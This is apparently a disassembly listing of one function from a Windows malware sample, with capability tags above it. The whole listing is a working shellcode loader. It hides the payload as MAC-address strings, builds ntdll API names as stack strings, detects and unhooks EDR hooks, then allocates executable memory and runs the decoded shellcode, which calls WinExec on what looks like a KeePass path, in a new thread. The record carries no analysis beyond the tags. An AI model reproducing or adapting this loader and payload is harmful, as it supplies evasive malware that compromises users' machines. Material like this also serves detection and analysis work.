Function at 0x14001128f
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
jmp 0x140012370
push rbp
push rdi
sub rsp, 0x9f8
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x1a6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140020008]
xor rax, rbp
mov qword [rbp + 0x988], rax
lea rcx, [0x1400260a4]
call fcn.14001139d
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0x2000
lea rax, str.57_48_89_E7_48_83
mov qword [rbp + 0x50], rax
lea rax, str.E4_F0_48_83_EC_20
mov qword [rbp + 0x58], rax
lea rax, str.E8_6F_01_00_00_48
mov qword [rbp + 0x60], rax
lea rax, str.89_FC_5F_C3_66_2E
mov qword [rbp + 0x68], rax
lea rax, str.0F_1F_84_00_00_00
mov qword [rbp + 0x70], rax
lea rax, str.00_00_65_48_8B_04
mov qword [rbp + 0x78], rax
lea rax, str.25_60_00_00_00_48
mov qword [rbp + 0x80], rax
lea rax, str.8B_40_18_4C_8B_50
mov qword [rbp + 0x88], rax
lea rax, str.20_4D_85_D2_74_65
mov qword [rbp + 0x90], rax
lea rax, str.66_2E_0F_1F_84_00
mov qword [rbp + 0x98], rax
lea rax, str.00_00_00_00_41_0F
mov qword [rbp + 0xa0], rax
lea rax, str.B7_42_48_4D_8B_42
mov qword [rbp + 0xa8], rax
lea rax, str.50_44_8D_48_FF_49
mov qword [rbp + 0xb0], rax
lea rax, str.8D_48_01_31_C0_45
mov qword [rbp + 0xb8], rax
lea rax, str.0F_B7_C9_49_01_C9
mov qword [rbp + 0xc0], rax
lea rax, str.EB_18_0F_1F_40_00
mov qword [rbp + 0xc8], rax
lea rax, str.83_E8_20_49_89_C8
mov qword [rbp + 0xd0], rax
lea rax, str.48_98_48_01_D0_49
mov qword [rbp + 0xd8], rax
lea rax, str.39_C9_74_1C_48_83
mov qword [rbp + 0xe0], rax
lea rax, str.C1_01_89_C2_41_0F
mov qword [rbp + 0xe8], rax
lea rax, str.B6_00_C1_CA_0D_3C
mov qword [rbp + 0xf0], rax
lea rax, str.60_77_DF_48_01_D0
mov qword [rbp + 0xf8], rax
lea rax, str.49_89_C8_49_39_C9
mov qword [rbp + 0x100], rax
lea rax, str.75_E4_3D_5B_BC_4A
mov qword [rbp + 0x108], rax
lea rax, str.6A_74_0C_4D_8B_12
mov qword [rbp + 0x110], rax
lea rax, str.4D_85_D2_75_A5_4C
mov qword [rbp + 0x118], rax
lea rax, str.89_D0_C3_4D_8B_52
mov qword [rbp + 0x120], rax
lea rax, str.20_4C_89_D0_C3_90
mov qword [rbp + 0x128], rax
lea rax, str.90_90_90_90_90_90
mov qword [rbp + 0x130], rax
lea rax, str.90_90_48_85_C9_0F
mov qword [rbp + 0x138], rax
lea rax, str.84_C4_00_00_00_57
mov qword [rbp + 0x140], rax
lea rax, str.49_89_D2_48_89_C8
mov qword [rbp + 0x148], rax
lea rax, str.56_53_48_63_51_3C
mov qword [rbp + 0x150], rax
lea rax, str.8B_94_11_88_00_00
mov qword [rbp + 0x158], rax
lea rax, str.00_48_01_CA_8B_72
mov qword [rbp + 0x160], rax
lea rax, str.1C_48_01_CE_41_F7
mov qword [rbp + 0x168], rax
lea rax, str.C2_00_00_FF_FF_74
mov qword [rbp + 0x170], rax
lea rax, str.71_44_8B_42_18_41
mov qword [rbp + 0x178], rax
lea rax, str.8D_48_FF_45_85_C0
mov qword [rbp + 0x180], rax
lea rax, str.74_54_44_8B_4A_20
mov qword [rbp + 0x188], rax
lea rax, str.44_8B_5A_24_49_01
mov qword [rbp + 0x190], rax
lea rax, str.C1_49_01_C3_49_8D
mov qword [rbp + 0x198], rax
lea rax, str.5C_89_04_90_41_8B
mov qword [rbp + 0x1a0], rax
lea rax, str.11_4C_89_D7_48_01
mov qword [rbp + 0x1a8], rax
lea rax, str.C2_48_29_D7_EB_07
mov qword [rbp + 0x1b0], rax
lea rax, str.66_90_44_38_C1_75
mov qword [rbp + 0x1b8], rax
lea rax, str.53_48_89_D1_48_83
mov qword [rbp + 0x1c0], rax
lea rax, str.C2_01_44_0F_B6_44
mov qword [rbp + 0x1c8], rax
lea rax, str.3A_FF_0F_B6_09_84
mov qword [rbp + 0x1d0], rax
lea rax, str.C9_75_E7_41_0F_B6
mov qword [rbp + 0x1d8], rax
lea rax, str.C8_F7_D9_85_C9_74
mov qword [rbp + 0x1e0], rax
lea rax, str.3C_49_83_C1_04_49
mov qword [rbp + 0x1e8], rax
lea rax, str.83_C3_02_49_39_D9
mov qword [rbp + 0x1f0], rax
lea rax, str.75_C0_5B_31_C0_5E
mov qword [rbp + 0x1f8], rax
lea rax, str.5F_C3_66_2E_0F_1F
mov qword [rbp + 0x200], rax
lea rax, str.84_00_00_00_00_00
mov qword [rbp + 0x208], rax
lea rax, str.8B_52_10_45_0F_B7
mov qword [rbp + 0x210], rax
lea rax, str.D2_5B_49_29_D2_42
mov qword [rbp + 0x218], rax
lea rax, str.8B_14_96_5E_5F_48
mov qword [rbp + 0x220], rax
lea rax, str.01_D0_C3_0F_1F_00
mov qword [rbp + 0x228], rax
lea rax, str.44_29_C1_85_C9_75
mov qword [rbp + 0x230], rax
lea rax, str.C4_41_0F_B7_13_5B
mov qword [rbp + 0x238], rax
lea rax, str.8B_14_96_5E_5F_48
mov qword [rbp + 0x240], rax
lea rax, str.01_D0_C3_31_C0_C3
mov qword [rbp + 0x248], rax
lea rax, str.55_48_89_E5_48_83
mov qword [rbp + 0x250], rax
lea rax, str.E4_F0_48_83_EC_50
mov qword [rbp + 0x258], rax
lea rax, str.E8_8F_FE_FF_FF_48
mov qword [rbp + 0x260], rax
lea rax, str.8D_54_24_28_48_89
mov qword [rbp + 0x268], rax
lea rax, str.C1_48_B8_57_69_6E
mov qword [rbp + 0x270], rax
lea rax, str.45_78_65_63_00_48
mov qword [rbp + 0x278], rax
lea rax, str.89_44_24_28_E8_03
mov qword [rbp + 0x280], rax
lea rax, str.FF_FF_FF_48_BA_55
mov qword [rbp + 0x288], rax
lea rax, str.3A_5C_4B_65_65_50
mov qword [rbp + 0x290], rax
lea rax, str.61_48_B9_73_73_5C
mov qword [rbp + 0x298], rax
lea rax, str.6B_65_65_70_61_48
mov qword [rbp + 0x2a0], rax
lea rax, str.89_54_24_30_48_BA
mov qword [rbp + 0x2a8], rax
lea rax, str.61_73_73_2E_65_78
mov qword [rbp + 0x2b0], rax
lea rax, str.65_00_48_89_4C_24
mov qword [rbp + 0x2b8], rax
lea rax, str.38_48_8D_4C_24_30
mov qword [rbp + 0x2c0], rax
lea rax, str.48_89_54_24_3F_BA
mov qword [rbp + 0x2c8], rax
lea rax, str.0A_00_00_00_FF_D0
mov qword [rbp + 0x2d0], rax
lea rax, str.C9_C3_90_90_90_90
mov qword [rbp + 0x2d8], rax
lea rax, str.90_90_90_90_31_C0
mov qword [rbp + 0x2e0], rax
lea rax, str.EB_0D_0F_1F_40_00
mov qword [rbp + 0x2e8], rax
lea rax, str.48_83_C0_01_45_38
mov qword [rbp + 0x2f0], rax
lea rax, str.C8_75_1F_44_0F_B6
mov qword [rbp + 0x2f8], rax
lea rax, str.04_01_44_0F_B6_0C
mov qword [rbp + 0x300], rax
lea rax, str.02_45_84_C0_75_E8
mov qword [rbp + 0x308], rax
lea rax, str.41_0F_B6_C1_F7_D8
mov qword [rbp + 0x310], rax
lea rax, str.C3_66_0F_1F_84_00
mov qword [rbp + 0x318], rax
lea rax, str.00_00_00_00_41_0F
mov qword [rbp + 0x320], rax
lea rax, str.B6_C0_44_29_C8_C3
mov qword [rbp + 0x328], rax
lea rax, str.90_90_90_90_90_90
mov qword [rbp + 0x330], rax
lea rax, str.90_90_FF_FF_FF_FF
mov qword [rbp + 0x338], rax
lea rax, str.FF_FF_FF_FF_00_00
mov qword [rbp + 0x340], rax
lea rax, str.00_00_00_00_00_00
mov qword [rbp + 0x348], rax
lea rax, str.FF_FF_FF_FF_FF_FF
mov qword [rbp + 0x350], rax
lea rax, str.FF_FF_00_00_00_00
mov qword [rbp + 0x358], rax
lea rax, str.00_00_00_0A_90_90
mov qword [rbp + 0x360], rax
mov byte [rbp + 0x388], 0x6e
mov byte [rbp + 0x389], 0x74
mov byte [rbp + 0x38a], 0x64
mov byte [rbp + 0x38b], 0x6c
mov byte [rbp + 0x38c], 0x6c
mov byte [rbp + 0x38d], 0x2e
mov byte [rbp + 0x38e], 0x64
mov byte [rbp + 0x38f], 0x6c
mov byte [rbp + 0x390], 0x6c
mov byte [rbp + 0x391], 0
mov byte [rbp + 0x3b8], 0x4e
mov byte [rbp + 0x3b9], 0x74
mov byte [rbp + 0x3ba], 0x41
mov byte [rbp + 0x3bb], 0x6c
mov byte [rbp + 0x3bc], 0x6c
mov byte [rbp + 0x3bd], 0x6f
mov byte [rbp + 0x3be], 0x63
mov byte [rbp + 0x3bf], 0x61
mov byte [rbp + 0x3c0], 0x74
mov byte [rbp + 0x3c1], 0x65
mov byte [rbp + 0x3c2], 0x56
mov byte [rbp + 0x3c3], 0x69
mov byte [rbp + 0x3c4], 0x72
mov byte [rbp + 0x3c5], 0x74
mov byte [rbp + 0x3c6], 0x75
mov byte [rbp + 0x3c7], 0x61
mov byte [rbp + 0x3c8], 0x6c
mov byte [rbp + 0x3c9], 0x4d
mov byte [rbp + 0x3ca], 0x65
mov byte [rbp + 0x3cb], 0x6d
mov byte [rbp + 0x3cc], 0x6f
mov byte [rbp + 0x3cd], 0x72
mov byte [rbp + 0x3ce], 0x79
mov byte [rbp + 0x3cf], 0
lea rcx, [rbp + 0x388]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x3b8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x3e8], rax
mov rcx, qword [rbp + 0x3e8]
call fcn.140011172
test eax, eax
je 0x140012a6d
lea rcx, str.____NtAllocateVirtualMemory_Hooked_n
call fcn.1400111ae
mov rcx, qword [rbp + 0x3e8]
call fcn.1400110af
test eax, eax
jne 0x140012a5f
lea rcx, str.Failed_in_Unhooking_NtCreateThreadEx_n
call fcn.1400111ae
lea rcx, str._t___NtCreateThreadEx_UnHooked_n
call fcn.1400111ae
jmp 0x140012a79
lea rcx, str.___NtAllocateVirtualMemory_Not_Hooked_n
call fcn.1400111ae
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x28]
xor r8d, r8d
lea rdx, [rbp + 8]
mov rcx, 0xffffffffffffffff
call fcn.1400113ed
mov dword [rbp + 0x404], eax
cmp dword [rbp + 0x404], 0
jge 0x140012acd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtAllocateVirtualMemory___u__n
call fcn.1400111ae
mov eax, 1
jmp 0x140012fb9
mov dword [rbp + 0x424], 0x63
mov qword [rbp + 0x448], 0
mov rax, qword [rbp + 8]
mov qword [rbp + 0x488], rax
mov dword [rbp + 0x4a4], 0
jmp 0x140012b07
mov eax, dword [rbp + 0x4a4]
inc eax
mov dword [rbp + 0x4a4], eax
mov eax, dword [rbp + 0x424]
cmp dword [rbp + 0x4a4], eax
jge 0x140012b5f
movsxd rax, dword [rbp + 0x4a4]
mov r8, qword [rbp + 0x488]
lea rdx, [rbp + 0x448]
mov rcx, qword [rbp + rax*8 + 0x50]
call qword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
mov dword [rbp + 0x464], eax
cmp dword [rbp + 0x464], 0
jge 0x140012b4b
xor eax, eax
jmp 0x140012fb9
mov rax, qword [rbp + 0x488]
add rax, 6
mov qword [rbp + 0x488], rax
jmp 0x140012af9
mov dword [rbp + 0x4e4], 0
mov byte [rbp + 0x508], 0x4e
mov byte [rbp + 0x509], 0x74
mov byte [rbp + 0x50a], 0x50
mov byte [rbp + 0x50b], 0x72
mov byte [rbp + 0x50c], 0x6f
mov byte [rbp + 0x50d], 0x74
mov byte [rbp + 0x50e], 0x65
mov byte [rbp + 0x50f], 0x63
mov byte [rbp + 0x510], 0x74
mov byte [rbp + 0x511], 0x56
mov byte [rbp + 0x512], 0x69
mov byte [rbp + 0x513], 0x72
mov byte [rbp + 0x514], 0x74
mov byte [rbp + 0x515], 0x75
mov byte [rbp + 0x516], 0x61
mov byte [rbp + 0x517], 0x6c
mov byte [rbp + 0x518], 0x4d
mov byte [rbp + 0x519], 0x65
mov byte [rbp + 0x51a], 0x6d
mov byte [rbp + 0x51b], 0x6f
mov byte [rbp + 0x51c], 0x72
mov byte [rbp + 0x51d], 0x79
mov byte [rbp + 0x51e], 0
lea rcx, [rbp + 0x388]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x508]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x538], rax
mov rcx, qword [rbp + 0x538]
call fcn.140011172
test eax, eax
je 0x140012c74
lea rcx, str.____NtProtectVirtualMemory_Hooked_n
call fcn.1400111ae
mov rcx, qword [rbp + 0x538]
call fcn.1400110af
test eax, eax
jne 0x140012c66
lea rcx, str.Failed_in_Unhooking_NtCreateThreadEx_n
call fcn.1400111ae
lea rcx, str._t___NtCreateThreadEx_UnHooked_n
call fcn.1400111ae
jmp 0x140012c80
lea rcx, str.___NtProtectVirtualMemory_Not_Hooked_n
call fcn.1400111ae
lea rax, [rbp + 0x4e4]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 0x28]
lea rdx, [rbp + 8]
mov rcx, 0xffffffffffffffff
call fcn.1400110d2
mov dword [rbp + 0x554], eax
cmp dword [rbp + 0x554], 0
jge 0x140012cd3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtProtectVirtualMemory1___u__n
call fcn.1400111ae
mov eax, 2
jmp 0x140012fb9
mov qword [rbp + 0x578], 0xffffffffffffffff
mov byte [rbp + 0x598], 0x4e
mov byte [rbp + 0x599], 0x74
mov byte [rbp + 0x59a], 0x43
mov byte [rbp + 0x59b], 0x72
mov byte [rbp + 0x59c], 0x65
mov byte [rbp + 0x59d], 0x61
mov byte [rbp + 0x59e], 0x74
mov byte [rbp + 0x59f], 0x65
mov byte [rbp + 0x5a0], 0x54
mov byte [rbp + 0x5a1], 0x68
mov byte [rbp + 0x5a2], 0x72
mov byte [rbp + 0x5a3], 0x65
mov byte [rbp + 0x5a4], 0x61
mov byte [rbp + 0x5a5], 0x64
mov byte [rbp + 0x5a6], 0x45
mov byte [rbp + 0x5a7], 0x78
mov byte [rbp + 0x5a8], 0
lea rcx, [rbp + 0x388]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x598]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5c8], rax
mov rcx, qword [rbp + 0x5c8]
call fcn.140011172
test eax, eax
je 0x140012dbf
lea rcx, str.____NtCreateThreadEx_Hooked_n
call fcn.1400111ae
mov rcx, qword [rbp + 0x5c8]
call fcn.1400110af
test eax, eax
jne 0x140012db1
lea rcx, str.Failed_in_Unhooking_NtCreateThreadEx_n
call fcn.1400111ae
lea rcx, str._t___NtCreateThreadEx_UnHooked_n
call fcn.1400111ae
jmp 0x140012dcb
lea rcx, str.___NtCreateThreadEx_Not_Hooked_n
call fcn.1400111ae
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x578]
call fcn.1400111f9
mov dword [rbp + 0x5e4], eax
cmp dword [rbp + 0x5e4], 0
jge 0x140012e51
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtCreateThreadEx___u__n
call fcn.1400111ae
mov eax, 3
jmp 0x140012fb9
mov qword [rbp + 0x608], 0xffffffffff676980
mov byte [rbp + 0x628], 0x4e
mov byte [rbp + 0x629], 0x74
mov byte [rbp + 0x62a], 0x57
mov byte [rbp + 0x62b], 0x61
mov byte [rbp + 0x62c], 0x69
mov byte [rbp + 0x62d], 0x74
mov byte [rbp + 0x62e], 0x46
mov byte [rbp + 0x62f], 0x6f
mov byte [rbp + 0x630], 0x72
mov byte [rbp + 0x631], 0x53
mov byte [rbp + 0x632], 0x69
mov byte [rbp + 0x633], 0x6e
mov byte [rbp + 0x634], 0x67
mov byte [rbp + 0x635], 0x6c
mov byte [rbp + 0x636], 0x65
mov byte [rbp + 0x637], 0x4f
mov byte [rbp + 0x638], 0x62
mov byte [rbp + 0x639], 0x6a
mov byte [rbp + 0x63a], 0x65
mov byte [rbp + 0x63b], 0x63
mov byte [rbp + 0x63c], 0x74
mov byte [rbp + 0x63d], 0
lea rcx, [rbp + 0x388]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x628]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x658], rax
mov rcx, qword [rbp + 0x658]
call fcn.140011172
test eax, eax
je 0x140012f60
lea rcx, str.____NtWaitForSingleObject_Hooked_n
call fcn.1400111ae
mov rcx, qword [rbp + 0x658]
call fcn.1400110af
test eax, eax
jne 0x140012f52
lea rcx, str.Failed_in_Unhooking_NtWaitForSingleObject_n
call fcn.1400111ae
lea rcx, str._t___NtWaitForSingleObject_UnHooked_n
call fcn.1400111ae
jmp 0x140012f6c
lea rcx, str.___NtWaitForSingleObject_Not_Hooked_n
call fcn.1400111ae
lea r8, [rbp + 0x608]
xor edx, edx
mov rcx, qword [rbp + 0x578]
call fcn.1400113cf
mov dword [rbp + 0x674], eax
cmp dword [rbp + 0x674], 0
jge 0x140012fab
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtWaitForSingleObject___u__n
call fcn.1400111ae
mov eax, 4
jmp 0x140012fb9
lea rcx, str.___Finished______n
call fcn.1400111ae
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001c120]
call fcn.140011334
mov rax, rdi
mov rcx, qword [rbp + 0x988]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x998]
pop rdi
pop rbp
ret